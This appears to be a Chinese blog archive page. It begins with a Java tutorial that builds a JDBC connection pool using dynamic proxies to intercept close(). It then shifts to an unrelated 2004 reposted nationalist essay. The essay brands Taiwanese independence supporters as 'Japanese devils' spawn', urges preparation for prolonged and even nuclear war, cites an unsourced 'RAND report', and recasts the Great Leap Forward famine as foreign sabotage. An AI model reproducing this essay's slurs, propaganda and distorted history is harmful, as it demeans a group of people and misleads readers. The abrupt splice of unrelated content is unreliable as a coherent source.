    msg.append(“used connection, count: ” + getUsedConnectionCount());
    out.println(msg);
    Iterator iterator = m_usedUsedConnection.iterator();
    while (iterator.hasNext()) {
      ConnectionWrapper wrapper = (ConnectionWrapper) iterator.next();
      wrapper.debugInfo.printStackTrace(out);
    }
    out.println();
  }


  public static synchronized int getNotUsedConnectionCount() {
    return m_notUsedConnection.size();
  }


  public static synchronized int getUsedConnectionCount() {
    return m_usedUsedConnection.size();
  }


  public static synchronized int getConnectionCount() {
    return m_notUsedConnection.size() + m_usedUsedConnection.size();
  }


  public static String getUrl() {
    return m_url;
  }


  public static void setUrl(String url) {
    if (url == null) {
      return;
    }
    m_url = url.trim();
  }


  public static String getUser() {
    return m_user;
  }


  public static void setUser(String user) {
    if (user == null) {
      return;
    }
    m_user = user.trim();
  }


  public static String getPassword() {
    return m_password;
  }


  public static void setPassword(String password) {
    if (password == null) {
      return;
    }
    m_password = password.trim();
  }


}


class ConnectionWrapper implements InvocationHandler {
  private final static String CLOSE_METHOD_NAME = “close”;
  public Connection connection = null;
  private Connection m_originConnection = null;
  public long lastAccessTime = System.currentTimeMillis();
  Throwable debugInfo = new Throwable(“Connection initial statement”);


  ConnectionWrapper(Connection con) {
    Class[] interfaces = {java.sql.Connection.class};
    this.connection = (Connection) Proxy.newProxyInstance(
      con.getClass().getClassLoader(),
      interfaces, this);
    m_originConnection = con;
  }


  void close() throws SQLException {
    m_originConnection.close();
  }


  public Object invoke(Object proxy, Method m, Object[] args) throws Throwable {
    Object obj = null;
    if (CLOSE_METHOD_NAME.equals(m.getName())) {
      SimpleConnetionPool.pushConnectionBackToPool(this);
    }
    else {
      obj = m.invoke(m_originConnection, args);
    }
    lastAccessTime = System.currentTimeMillis();
    return obj;
  }
}


使用方法


public class TestConnectionPool{
  public static void main(String[] args) {
    SimpleConnetionPool.setUrl(DBTools.getDatabaseUrl());
    SimpleConnetionPool.setUser(DBTools.getDatabaseUserName());
    SimpleConnetionPool.setPassword(DBTools.getDatabasePassword());


    Connection con = SimpleConnetionPool.getConnection();
    Connection con1 = SimpleConnetionPool.getConnection();
    Connection con2 = SimpleConnetionPool.getConnection();


    //do something with con …


    try {
      con.close();
    } catch (Exception e) {}


    try {
      con1.close();
    } catch (Exception e) {}


    try {
      con2.close();
    } catch (Exception e) {}


    con = SimpleConnetionPool.getConnection();
    con1 = SimpleConnetionPool.getConnection();
    try {
      con1.close();
    } catch (Exception e) {}


    con2 = SimpleConnetionPool.getConnection();
    SimpleConnetionPool.printDebugMsg();


  }
}


运行测试程序后打印连接池中 Connection 状态, 以及正在使用的没有关闭 Connection 信息。

java数据库连接池

数据库连接池在编写应用服务是经常需要用到的模块,太过频繁的连接数据库对服务性能来讲是一个瓶颈,使用缓冲池技术可以来消除这个瓶颈。我们可以在互联网上找到很多关于数据库连接池的源程序,但是都发现这样一个共同的问题:这些连接池的实现方法都不同程度地增加了与使用者之间的耦合度。很多的连接池都要求用户通过其规定的方法获取数据库的连接,这一点我们可以理解,毕竟目前所有的应用服务器取数据库连接的方式都是这种方式实现的。但是另外一个共同的问题是,它们同时不允许使用者显式的调用Connection.close()方法,而需要用其规定的一个方法来关闭连接。这种做法有两个缺点:

第一:改变了用户使用习惯,增加了用户的使用难度。

首先我们来看看一个正常的数据库操作过程:


int executeSQL(String sql) throws SQLException
{
        Connection conn = getConnection();        //通过某种方式获取数据库连接
        PreparedStatement ps = null;
        int res = 0;
        try{
                ps = conn.prepareStatement(sql);
                res = ps.executeUpdate();
}finally{
try{
ps.close();
}catch(Exception e){}
try{
        conn.close();//
}catch(Exception e){}
}
return res;
}




使用者在用完数据库连接后通常是直接调用连接的方法close来释放数据库资源,如果用我们前面提到的连接池的实现方法,那语句conn.close()将被某些特定的语句所替代。

第二:使连接池无法对之中的所有连接进行独占控制。由于连接池不允许用户直接调用连接的close方法,一旦使用者在使用的过程中由于习惯问题直接关闭了数据库连接,那么连接池将无法正常维护所有连接的状态,考虑连接池和应用由不同开发人员实现时这种问题更容易出现。

综合上面提到的两个问题,我们来讨论一下如何解决这两个要命的问题。

首先我们先设身处地的考虑一下用户是想怎么样来使用这个数据库连接池的。用户可以通过特定的方法来获取数据库的连接,同时这个连接的类型应该是标准的java.sql.Connection。用户在获取到这个数据库连接后可以对这个连接进行任意的操作,包括关闭连接等。

通过对用户使用的描述,怎样可以接管Connection.close方法就成了我们这篇文章的主题。

为了接管数据库连接的close方法,我们应该有一种类似于钩子的机制。例如在Windows编程中我们可以利用Hook API来实现对某个Windows API的接管。在JAVA中同样也有这样一个机制。JAVA提供了一个Proxy类和一个InvocationHandler,这两个类都在java.lang.reflect包中。我们先来看看SUN公司提供的文档是怎么描述这两个类的。


public interface InvocationHandler

InvocationHandler is the interface implemented by the invocation handler of a proxy instance.

Each proxy instance has an associated invocation handler.
When a method is invoked on a proxy instance,
the method invocation is encoded and dispatched to the invoke method of its invocation handler.




SUN的API文档中关于Proxy的描述很多,这里就不罗列出来。通过文档对接口InvocationHandler的描述我们可以看到当调用一个Proxy实例的方法时会触发Invocationhanlder的invoke方法。从JAVA的文档中我们也同时了解到这种动态代理机制只能接管接口的方法,而对一般的类无效,考虑到java.sql.Connection本身也是一个接口由此就找到了解决如何接管close方法的出路。

首先,我们先定义一个数据库连接池参数的类,定义了数据库的JDBC驱动程序类名,连接的URL以及用户名口令等等一些信息,该类是用于初始化连接池的参数,具体定义如下:


public class ConnectionParam implements Serializable
{
        private String driver;                                //数据库驱动程序
        private String url;                                        //数据连接的URL
        private String user;                                        //数据库用户名
        private String password;                                //数据库密码
        private int minConnection = 0;                //初始化连接数
        private int maxConnection = 50;                //最大连接数
        private long timeoutValue = 600000;//连接的最大空闲时间
        private long waitTime = 30000;                //取连接的时候如果没有可用连接最大的等待时间




其次是连接池的工厂类ConnectionFactory,通过该类来将一个连接池对象与一个名称对应起来,使用者通过该名称就可以获取指定的连接池对象,具体代码如下:


/**
* 连接池类厂,该类常用来保存多个数据源名称合数据库连接池对应的哈希
* @author liusoft
*/
public class ConnectionFactory
{
        //该哈希表用来保存数据源名和连接池对象的关系表
        static Hashtable connectionPools = null;
        static{
                connectionPools = new Hashtable(2,0.75F);
        }
        /**
         * 从连接池工厂中获取指定名称对应的连接池对象
         * @param dataSource        连接池对象对应的名称
         * @return DataSource        返回名称对应的连接池对象
         * @throws NameNotFoundException        无法找到指定的连接池
         */
        public static DataSource lookup(String dataSource)
                throws NameNotFoundException
        {
                Object ds = null;
                ds = connectionPools.get(dataSource);
                if(ds == null || !(ds instanceof DataSource))
                        throw new NameNotFoundException(dataSource);
                return (DataSource)ds;
        }

        /**
         * 将指定的名字和数据库连接配置绑定在一起并初始化数据库连接池
         * @param name                对应连接池的名称
         * @param param        连接池的配置参数,具体请见类ConnectionParam
         * @return DataSource        如果绑定成功后返回连接池对象
         * @throws NameAlreadyBoundException        一定名字name已经绑定则抛出该异常
         * @throws ClassNotFoundException                无法找到连接池的配置中的驱动程序类
         * @throws IllegalAccessException                连接池配置中的驱动程序类有误
         * @throws InstantiationException                无法实例化驱动程序类
         * @throws SQLException                                无法正常连接指定的数据库
         */
        public static DataSource bind(String name, ConnectionParam param)
                throws NameAlreadyBoundException,ClassNotFoundException,
                                IllegalAccessException,InstantiationException,SQLException
        {
                DataSourceImpl source = null;
                try{
                        lookup(name);
                        throw new NameAlreadyBoundException(name);
                }catch(NameNotFoundException e){
                        source = new DataSourceImpl(param);
                        source.initConnection();
                        connectionPools.put(name, source);
                }
                return source;
        }
        /**
         * 重新绑定数据库连接池
         * @param name                对应连接池的名称
         * @param param        连接池的配置参数,具体请见类ConnectionParam
         * @return DataSource        如果绑定成功后返回连接池对象
         * @throws NameAlreadyBoundException        一定名字name已经绑定则抛出该异常
         * @throws ClassNotFoundException                无法找到连接池的配置中的驱动程序类
         * @throws IllegalAccessException                连接池配置中的驱动程序类有误
         * @throws InstantiationException                无法实例化驱动程序类
         * @throws SQLException                                无法正常连接指定的数据库
         */
        public static DataSource rebind(String name, ConnectionParam param)
                throws NameAlreadyBoundException,ClassNotFoundException,
                                IllegalAccessException,InstantiationException,SQLException
        {
                try{
                        unbind(name);
                }catch(Exception e){}
                return bind(name, param);
        }
        /**
         * 删除一个数据库连接池对象
         * @param name
         * @throws NameNotFoundException
         */
        public static void unbind(String name) throws NameNotFoundException
        {
                DataSource dataSource = lookup(name);
                if(dataSource instanceof DataSourceImpl){
                        DataSourceImpl dsi = (DataSourceImpl)dataSource;
                        try{
                                dsi.stop();
                                dsi.close();
                        }catch(Exception e){
                        }finally{
                                dsi = null;
                        }
                }
                connectionPools.remove(name);
        }
       
}




ConnectionFactory主要提供了用户将将连接池绑定到一个具体的名称上以及取消绑定的操作。使用者只需要关心这两个类即可使用数据库连接池的功能。下面我们给出一段如何使用连接池的代码:


        String name = “pool”;
        String driver = ” sun.jdbc.odbc.JdbcOdbcDriver “;
        String url = “jdbc:odbc:datasource”;
        ConnectionParam param = new ConnectionParam(driver,url,null,null);
        param.setMinConnection(1);
        param.setMaxConnection(5);
        param.setTimeoutValue(20000);
        ConnectionFactory.bind(name, param);
        System.out.println(“bind datasource ok.”);
        //以上代码是用来登记一个连接池对象,该操作可以在程序初始化只做一次即可
        //以下开始就是使用者真正需要写的代码
        DataSource ds = ConnectionFactory.lookup(name);
        try{
                for(int i=0;i<10;i++){
                        Connection conn = ds.getConnection();
                        try{
                                testSQL(conn, sql);
                        }finally{
                                try{
                                        conn.close();
                                }catch(Exception e){}
                        }
                }
        }catch(Exception e){
                e.printStackTrace();
        }finally{
                ConnectionFactory.unbind(name);
                System.out.println(“unbind datasource ok.”);
                System.exit(0);
        }




从使用者的示例代码就可以看出,我们已经解决了常规连接池产生的两个问题。但是我们最最关心的是如何解决接管close方法的办法。接管工作主要在ConnectionFactory中的两句代码:


source = new DataSourceImpl(param);
source.initConnection();




DataSourceImpl是一个实现了接口javax.sql.DataSource的类,该类维护着一个连接池的对象。由于该类是一个受保护的类,因此它暴露给使用者的方法只有接口DataSource中定义的方法,其他的所有方法对使用者来说都是不可视的。我们先来关心用户可访问的一个方法getConnection


/**
* @see javax.sql.DataSource#getConnection(String,String)
*/
        public Connection getConnection(String user, String password) throws SQLException
        {
                //首先从连接池中找出空闲的对象
                Connection conn = getFreeConnection(0);
                if(conn == null){
                        //判断是否超过最大连接数,如果超过最大连接数
                        //则等待一定时间查看是否有空闲连接,否则抛出异常告诉用户无可用连接
                        if(getConnectionCount() >= connParam.getMaxConnection())
                                conn = getFreeConnection(connParam.getWaitTime());
                        else{//没有超过连接数,重新获取一个数据库的连接
                                connParam.setUser(user);
                                connParam.setPassword(password);
                                Connection conn2 = DriverManager.getConnection(connParam.getUrl(),
                                user, password);
                                //代理将要返回的连接对象
                                _Connection _conn = new _Connection(conn2,true);
                                synchronized(conns){
                                        conns.add(_conn);
                                }
                                conn = _conn.getConnection();
                        }
                }
                return conn;
        }
        /**
         * 从连接池中取一个空闲的连接
         * @param nTimeout        如果该参数值为0则没有连接时只是返回一个null
         * 否则的话等待nTimeout毫秒看是否还有空闲连接,如果没有抛出异常
         * @return Connection
         * @throws SQLException
         */
        protected synchronized Connection getFreeConnection(long nTimeout)
                throws SQLException
        {
                Connection conn = null;
                Iterator iter = conns.iterator();
                while(iter.hasNext()){
                        _Connection _conn = (_Connection)iter.next();
                        if(!_conn.isInUse()){
                                conn = _conn.getConnection();
                                _conn.setInUse(true);                               
                                break;
                        }
                }
                if(conn == null && nTimeout > 0){
                        //等待nTimeout毫秒以便看是否有空闲连接
                        try{
                                Thread.sleep(nTimeout);
                        }catch(Exception e){}
                        conn = getFreeConnection(0);
                        if(conn == null)
                                throw new SQLException(“没有可用的数据库连接”);
                }
                return conn;
        }




DataSourceImpl类中实现getConnection方法的跟正常的数据库连接池的逻辑是一致的,首先判断是否有空闲的连接,如果没有的话判断连接数是否已经超过最大连接数等等的一些逻辑。但是有一点不同的是通过DriverManager得到的数据库连接并不是及时返回的,而是通过一个叫_Connection的类中介一下,然后调用_Connection.getConnection返回的。如果我们没有通过一个中介也就是JAVA中的Proxy来接管要返回的接口对象,那么我们就没有办法截住Connection.close方法。

终于到了核心所在,我们先来看看_Connection是如何实现的,然后再介绍是客户端调用Connection.close方法时走的是怎样一个流程,为什么并没有真正的关闭连接。


/**
* 数据连接的自封装,屏蔽了close方法
* @author Liudong
*/
class _Connection implements InvocationHandler
{
        private final static String CLOSE_METHOD_NAME = “close”;
        private Connection conn = null;
        //数据库的忙状态
        private boolean inUse = false;
        //用户最后一次访问该连接方法的时间
        private long lastAccessTime = System.currentTimeMillis();
       
        _Connection(Connection conn, boolean inUse){
                this.conn = conn;
                this.inUse = inUse;
        }
        /**
         * Returns the conn.
         * @return Connection
         */
        public Connection getConnection() {
                //返回数据库连接conn的接管类,以便截住close方法
                Connection conn2 = (Connection)Proxy.newProxyInstance(
                        conn.getClass().getClassLoader(),
                        conn.getClass().getInterfaces(),this);
                return conn2;
        }
        /**
         * 该方法真正的关闭了数据库的连接
         * @throws SQLException
         */
        void close() throws SQLException{
                //由于类属性conn是没有被接管的连接,因此一旦调用close方法后就直接关闭连接
                conn.close();
        }
        /**
         * Returns the inUse.
         * @return boolean
         */
        public boolean isInUse() {
                return inUse;
        }

        /**
         * @see java.lang.reflect.InvocationHandler#invoke(java.lang.Object, java.lang.reflect.Method, java.lang.Object)
         */
        public Object invoke(Object proxy, Method m, Object[] args)
                throws Throwable
        {
                Object obj = null;
                //判断是否调用了close的方法,如果调用close方法则把连接置为无用状态
                if(CLOSE_METHOD_NAME.equals(m.getName()))
                        setInUse(false);               
                else
                        obj = m.invoke(conn, args);       
                //设置最后一次访问时间,以便及时清除超时的连接
                lastAccessTime = System.currentTimeMillis();
                return obj;
        }
               
        /**
         * Returns the lastAccessTime.
         * @return long
         */
        public long getLastAccessTime() {
                return lastAccessTime;
        }

        /**
         * Sets the inUse.
         * @param inUse The inUse to set
         */
        public void setInUse(boolean inUse) {
                this.inUse = inUse;
        }
}




一旦使用者调用所得到连接的close方法,由于用户的连接对象是经过接管后的对象,因此JAVA虚拟机会首先调用_Connection.invoke方法,在该方法中首先判断是否为close方法,如果不是则将代码转给真正的没有被接管的连接对象conn。否则的话只是简单的将该连接的状态设置为可用。到此您可能就明白了整个接管的过程,但是同时也有一个疑问:这样的话是不是这些已建立的连接就始终没有办法真正关闭?答案是可以的。我们来看看ConnectionFactory.unbind方法,该方法首先找到名字对应的连接池对象,然后关闭该连接池中的所有连接并删除掉连接池。在DataSourceImpl类中定义了一个close方法用来关闭所有的连接,详细代码如下:


        /**
         * 关闭该连接池中的所有数据库连接
         * @return int 返回被关闭连接的个数
         * @throws SQLException
         */
        public int close() throws SQLException
        {
                int cc = 0;
                SQLException excp = null;
                Iterator iter = conns.iterator();
                while(iter.hasNext()){
                        try{
                                ((_Connection)iter.next()).close();
                                cc ++;
                        }catch(Exception e){
                                if(e instanceof SQLException)
                                        excp = (SQLException)e;
                        }
                }
                if(excp != null)
                        throw excp;
                return cc;
        }




该方法一一调用连接池中每个对象的close方法,这个close方法对应的是_Connection中对close的实现,在_Connection定义中关闭数据库连接的时候是直接调用没有经过接管的对象的关闭方法,因此该close方法真正的释放了数据库资源。

2004年05月14日

一篇震惊西方世界的中国人的论文!【国人必看,请耐心看完!】(请有识之士在国内各大网站转贴) [转帖]

一份中国人的论文引起美国白宫的高度关注和恐惧感

一篇关于“软刀子”的极有深度的文章

中国人想一心一意埋头搞建设,但有人不允许,头一个就是日本。一百多年以来,日本已经两次打掉了中国经济大发展的历史机会。一个甲午战争,打掉了满清的洋务运动;一个“七.七”全面侵华战争,打掉了国民党号称的“十年黄金时 代”。这绝非偶然。日本明治维新后的国策就是不准中国强盛,辛亥革命后又加上一条:不准中国统一。张学良刚搞东北易帜完成了中国形式上的统一,日本马 上发动“九.一八”,继而发动全面侵华战争。日本经过两次侵华战争已经跟中国结了血仇 ,又死皮赖脸不肯向中国人老老实实道歉以取得中国人的宽恕。日本人自己也清楚:中国一旦强大,日本就只有派“遣唐史”、当小伙计的份;那时就不是日本人肯不肯向中国人道歉的问题,而是中国人肯不肯接受日本人道歉的问题。因此日本千方百计要第叁次打掉中国崛起的机会。有些中国人只忙着自我陶醉发大财,没看到针对中国新的战争危机正在形成,没有看到日本人第叁次又来了。不过这次打头阵的是赖在台湾的那些没当上日本人的日本人,那些拼命想当未来日本人的“台独二鬼子”。说是“台湾独立”,实为“台湾回归日本”。 如果当真只想“台独”,至少懂得“投鼠忌器”,舍不得把台湾打烂,必然只求维持现状,不敢惹火烧身。现在“台独”势力惟恐天下不乱,根本不在乎把台湾 打烂。这就蹊跷。调查刑事犯罪,首先要调查谁是犯罪的最大获益者。分析台海危机,首先要分析谁是危机的最大受惠人。鼓动台湾“独立”引发中美战争对日 本而言是“一箭叁雕”:中美大战,两败俱伤,一举削弱日本两大强敌;顺便借刀杀人,把台湾岛内当真积极上战场去“保卫台湾”的傻瓜们除个差不多,剩下来的都是心知肚明“台独”把戏真目的的“二鬼子”。到那时再发动“台湾回归日本”运动自然水到渠成。这最符合日本利益。中国面对的实际不是什么“台湾同胞”,而是日本鬼子在台湾留下的孽种──“台独二鬼子”。他们不是中国人,却劫持了中国的台湾投奔日本,肆无忌惮霸占中国领土。台海危机实际是是日 本假“台独”代理人之手第叁次打掉中国重新崛起的新战争,是中国自甲午战争以来抗日战争的继续。跟这帮日本种的“台独二鬼子”讲什么“骨肉情”“中国 心”是瞎了眼,连“对牛弹琴”都不够格,因为那样既糟蹋了琴又侮辱了牛。能凑合用的形容词是“对骡子发嗲──自做多情”,虽然这样说对骡子也不甚公平 。 一旦“台独二鬼子”设定“台独”时间表,摊牌便进入倒计时,中国想“韬光养晦”也不成了。那就是又一次“中华民族到了最危险的时候,每个人被迫着发出最后的吼声”。那时中国只有两条路:要么再来一次“马关条约”,放弃台湾,任人宰割,再度沉沦;要么“下定决心,不怕牺牲,排除万难,去争取胜利”。当然,日本人暗中出马,中国人也用不着明着宣战。反击“台独二鬼子”就是抗日,揍在“台独二鬼子”身上就是揍在日本大鬼子心上。形势所逼,中国没有选择,不存在上不上日本人的当的问题,美国则难说。日本的如意算盘能否行得通,要看美国的算盘怎么打。美国的战略目标是保持自己的世界霸权。如果美国卷 入台海冲突,中国是为主权而战,美国是为霸权而战。主权是一个国家全体人民整体人权的总集合。整体人权丢了,个体人权的丧失只是时间问题。因此主权问 题是生死问题,打的是生死仗,只能不惜代价;霸权问题是利益问题,打的是生意仗,不能不惜代价。打生死仗是你死我活,有进无退;打生意仗是唯利是图, 进退自如。但“千做万做,赔本生意不做”,所以打生意仗得斤斤计较,边打算盘边打仗:中国是否直接威胁了我的世界霸权?世界上还有没有其他人威胁我的世界霸权?丢了台湾会不会丢掉我的世界霸权?保住台湾又能不能保住我的世界霸权?为保住台湾跟中国开战要付多大代价?会不会赔上老本以至于他人渔翁得利白白捞走我的世界霸权?如果保住台湾却丢了世界霸权合算不合算?如果战争旷日持久怎么办?如果兵力被拖在台湾海峡动弹不得给其他地方恐怖组织可乘之 机怎么办?如果把中国逼急了全世界卖核武器怎么办?如果重新封锁中国导致美国在中国的影响、利益和代理人从此全部丧失怎么办?……对这一连串芝麻西瓜 谁大谁小之类的定义和选择是美国人自己的事,中国人管不了,但美国的决心怎么下却实实在在取决中国的实力和意志。网上广泛流传的一份美国“兰德公司报 告”有两条很有意思的建议,一是要“把中国炸回石器时代”,使中国至少倒退五十年;二是决不能派兵登陆中国,因为“如果我们在大陆使用了陆军,会影起严重的后果。中国能接受一驾被击落的U2,但中国很难接受一双美军的皮靴”。怪了,不在乎把中国炸回石器时代,却在乎中国是否能接受一双美军的皮靴;都炸成石器时代了还不敢登陆,还不如鸦片战争时代的英国大兵。自相矛盾的建议道出了一个合乎逻辑的结论:美国敢于想象跟中国打“高科技”战争,不敢想象 跟中国打毛泽东的人民战争。就凭这一条,谁说毛泽东的人民战争没有战略威慑作用?谁说中国今天的和平离得开毛泽东打出的国威军威?现在中国要破解台湾 “独立”的陷阱,仍然离不开毛泽东。美国对台湾的决心怎么下要看中国的决心有多大:打生死仗,还是打生意仗。如果中国准备拼死相搏奉陪到底,那美国是 一种决心;如果中国瞻前顾后患得患失,那美国肯定又是一种决心。你不惜代价,人家可不能不惜代价,同归于尽不是美国的传统。你瞻前顾后心存侥幸,那人家可最善于讨价还价,敲诈讹诈。美国如何判断中国的决心?实际上就看你准不准备按毛泽东的理论对付美国可能的干涉:丢掉幻想,准备斗争;针锋相对,寸土必争;人民战争;持久战;战略上藐视敌人,战术上重视敌人;有什么条件打什么仗;调动一切积极因素,团结一切可以团结的力量;同仇敌忾,官兵一致,军民一致;准备着早打,大打,打核战争;“深挖洞,广积粮”;你打你的,我打我的,只要打起来就没有界限;独立自主,自立更生,一不怕苦,二不怕死, 准备着敌人的一切经济封锁……不对抗不意味着不抵抗,爱和平不意味着怕战争。如果美国发现中国只是嘴上喊喊口号,并没有认真准备全面长期战争,没有开 足马力整军备战,没有国民经济军事化的转轨准备工作,没有未雨绸缪采取有效措施分散风险,开始把自己的外汇储备和国库资金逐步转移出美国,并防止投机 分子向海外转移子女财产,没有不惜一切代价、不怕冒核大战的风险,没有宁可经受经济封锁再过苦日子也要捍卫国土的决心和措施,那人家怎么能相信中国要为台湾打生死仗?南斯拉夫的“精英”们被“北约”的炸弹炸得没了电,过不上舒服日子,马上失魂落魄,放弃了领土还不算,还自己把自己的领导人捆好送上门去求饶。中国的“精英”们则现在就开始鼓噪“为台湾牺牲大陆的发展不合算”、“中日友好新思维”,开始为新的“马关条约”打伏笔,造舆论。怪不得这 些人那么热衷于吹捧美化李鸿章、袁世凯。这些人只能加强美国认为中国不敢打生死仗的判断,刺激美国铤而走险的决心。“树欲静而风不止”,台湾海峡危机 是别人强加于中国的,中国想躲也躲不掉。与其整天白费心思察言观色琢磨美国的底牌,不如老老实实按毛泽东的主张办,实实在在按最坏的情况做准备,宁可 备而无用,不可用而无备。“备而无用” 意味着全胜,“不战而屈人之兵”;“ 用而无备”意味着战略战术双重失败,从头输到尾。总之日本的如意算盘能不能打响要看美国,而美国的决心怎么下要看中国自己。按毛泽东的主张做准备,中国还有可能安然化解“台独二鬼子”制造的台海危机,从此统一中国,彻底翻身,否则必然第叁次被日本打下去。中国人生存都朝不保夕,更别谈什么继续致富了。想致富首先得保住中国的和平大环境,而毛泽东挣来的和平大环境正在遭受 日本“台独二鬼子”的严重威胁。所以想致富先得解决“台独二鬼子”制造的台海危机。而如果战争可能避免,那只有靠毛泽东的学说才可以避免;如果战争不 可避免,那更要靠毛泽东思想才可以制胜。所以说中国人靠毛泽东才能富起来,也只有靠毛泽东才能富下去。

有人借口“大跃进”否定毛泽东。这些人从来不承认如下事实:一.毛泽东搞“ 大跃进”本来目的是搞建设,不是搞破坏;是想造福,不是想造祸,更不是蓄意制造饥荒。蓄意在中国制造饥荒的人是那些对中国搞经济封锁的人,是那些在中国出现饥荒时故意逼中国用食品还债的人。他们的目的本来就是在中国制造饥荒,采取那样的措施就是为了得到那样的后果,目的与后果完全一致,他们才属于蓄意犯罪。二.灾荒发生后毛泽东是尽力救灾,而在此时拼命反华、武装侵犯中国的人则不但是见死不救,而且是趁火打劫,阻止毛泽东救灾。没有这些人的破坏捣乱,中国的灾情不会如此严重。叁.毛泽东再也没有重复过同样的失误。而指责毛泽东造成中国灾荒的“精英”们则现在都还天天全力以赴要把中国搞崩溃 ,企图制造人类历史上空前规模的大灾荒。他们甚至满腔热情想象着中国崩溃后出现大规模私刑仇杀、血流成河的情景,无限憧憬着中国崩溃后大规模人口死亡 的后果。他们才是真正的蓄谋犯罪,而且是一而再,再而叁的现行蓄谋犯罪。

二.最大最毒的“软刀子”

家贼难防,内奸最毒。要破除外来的“软刀子”就必须破除来自内部的“软刀子”。来自中国内部最大最毒的“软刀子”是某些中国 “精英”极力“证明”中国 人是“劣等文化劣等人”,必须全盘西化,如此一来什么外来的“软刀子”都能畅通无阻,充分发挥。当然,“精英”自有“精英”之道,不一定直接指着鼻子 骂娘。人家的高招是换个方式变相论证,借口毛泽东晚年的错误从根本上否定毛泽东和毛泽东思想。只要否定成立,“劣等文化劣等人”的帽子想躲都躲不掉。

中国人喜欢 “不以成败论英雄”,西方人喜欢“惟以成败论英雄”,其核心意识 是社会达尔文主义:“物竞天演,优胜劣败”。你胜了就是优,败了就是劣,其 它全是废话。几百年来西方白人打遍全球无敌手,其他一切有色人种无不屈服,莫能抗衡。于是西方白人目空一切,视一切有色人种为劣等。中国自鸦片战争起跟洋人打一仗败一仗,败一仗来一次割地赔款、丧权辱国,以至于国家破产,精神崩溃,“月亮也是外国的圆”,“量中华之物力,结与国之欢心”。到后来有些中国人没有西方国家发话屁都不敢放一个。从1931年9.18到1941年珍珠港事变整整十年有余,中国丢了东北,丢了华北,丢了华东,丢了中南,丢了首都南京 ,遭受了南京大屠杀,经受了无穷伤害,国民党政府却居然还不敢对日宣战,居然还一直跟日本保持着外交关系。直到日本袭击珍珠港、美国对日宣战后的第二 天才匆匆忙忙跟着美国正式对日宣战。如此软弱无能,在人家眼里非“劣”而何?在毛泽东之前,中国面对东西方列强的侵略从来没有成功的英雄,从来只有悲 剧的英雄,失败的英雄。他们奋斗了,他们牺牲了,但他们失败了。失败就失败在他们谁也没能够改变中国任人宰割的命运。“瓜分惨祸依眉睫,呼告徒劳费齿牙”。尽管在中国人眼里他们虽死犹生,虽败犹荣,但在洋人眼里他们仍然是失败者,丝毫不能阻止列强来侵略,来掠夺,来任意支配中国。

唯有毛泽东真正扭转乾坤,彻底改变了中国“人为刀俎,我为鱼肉”的命运。毛泽东创建了新中国。毛泽东领导中国人顶住了一切外来干涉。 即使世界上头号超级大国美国也照样 栽在毛泽东手下。美国在朝鲜跟毛泽东领导的中国军队直接较量,失败了。美国人不服气,拿越南当实验战场,间接跟毛泽东的人民战争理论再较量,又失败了 。抗美援朝把美国军队打怕了;越南战争把美国社会打怕了。证据之一就是从此美国朝野上下“中国吃惊病”流行,做梦也要哼哼两声“中国威胁论”,顺便也 就放弃了军事上大规模进攻中国的战略设想。美国“挟天子令诸侯”,利用联合国动员全世界一切可以动员的力量跟毛泽东领导的中国整整较量了二十多年,政治、经济、军事、文化一切手段全部使尽用绝,对毛泽东始终无可奈何。封锁中国几十年,中国不但没垮,反而成了核大国。在有毛泽东思想之前,中国人只有尊孔忠君的思想,崇洋媚外的思想,妄自尊大、固步自封的思想,无所作为、逃避现实的思想,消极悲观、逆来顺受的思想,等等等等。面对列强的侵略,中国人原有的一切传统思想武器全部失灵。中国人翻遍了孔孟之道和诸子百家,求遍了老子如来耶酥安拉,捧来了“民主”“自由”“人权”之类跟西方国家班门弄 斧……目的只有一个:从中找出一条救国之道。然而所有这些努力无不“上穷碧落下黄泉,两处茫茫皆不见”。自从有了毛泽东思想,中国人才真正从精神上成 为强者,使局面根本改观。这个世界上替强者效劳的思想理论不计其数,教诲弱者屈从强者的说教浩如烟海,唯独毛泽东思想专门替受强者欺凌的无辜弱者说话 ;专门教导弱者如何由弱变强;教导遭受强国侵略的弱国不靠寄人篱下,不靠卑躬屈膝,不靠主权交易,完全依靠自力更生、艰苦奋斗来改变命运。毛泽东从来没有躲在国外到处化缘,从来不靠别人施舍恩赐,一切靠自己,一切白手起家,以弱胜强,转弱为强,从赤手空拳到打下天下。对于外来援助,毛泽东从来是白给欢迎,花钱买可以,拿主权换绝对不干。无论是美国还是苏联都拿毛泽东毫无办法,打不赢,吓不倒,骗不过,困不住,“硬刀子”“软刀子”全部失灵,绞 尽脑汁也不知该如何破解毛泽东思想,只好祷告上帝保佑让毛泽东后人的毛泽东思想色彩不要那么浓。经过那么多年的反复较量,有亲身经历的美国“精英”们 除了那些铁杆洋阿Q,凡讲点实事求是的都不得不对毛泽东心服口服。美国万般无 奈又有求于中国,不得不放下架子硬着头皮厚着脸皮主动登门求和。纵观历史, 横看世界,能让白种人里第一强的国家如此这般的有色人种唯独毛泽东一人。在毛泽东面前,再不可一世的白人种族主义者也牛不起来。在毛泽东面前,崇拜“优胜劣败”原则的西方白人不得不承认毛泽东是历史的胜利者,不得不承认毛泽东思想厉害,不得不承认诞生了毛泽东的中华民族不是劣等民族,不得不承认孕育出毛泽东思想的中华文化不是劣等文化。毛泽东是有史以来唯一一个让资本主义的西方白人尝到失败滋味而自己始终不败的中国人,不愧 “顶天立地奇男子, 焰古腾今大丈夫”。中华民族能够从衰败危亡中浴火重生,重新崛起,关键在于毛泽东。否定了毛泽东,就等于承认中国人在资本主义的西方人面前连一个成功 的民族英雄都没有,不是自认劣等又是什么?否定了毛泽东思想,就等于承认中国文化产生不出能抗衡西方侵略中国的思想武器,同样是自认劣等。既然“优胜 劣败”,你不承认中国是“劣等文化劣等人”,那起码得举出个国家级的反面例子来反驳。而中国自鸦片战争以来跟东西方外来侵略较量唯一成功的例子就是毛泽东和毛泽东思想。如果连这都否定,那还有什么可嘴硬的?“覆巢之下,岂有完卵”,“皮之不存,毛将焉附”。想见识什么叫“精英” 级“软刀子”吗?这 就是。

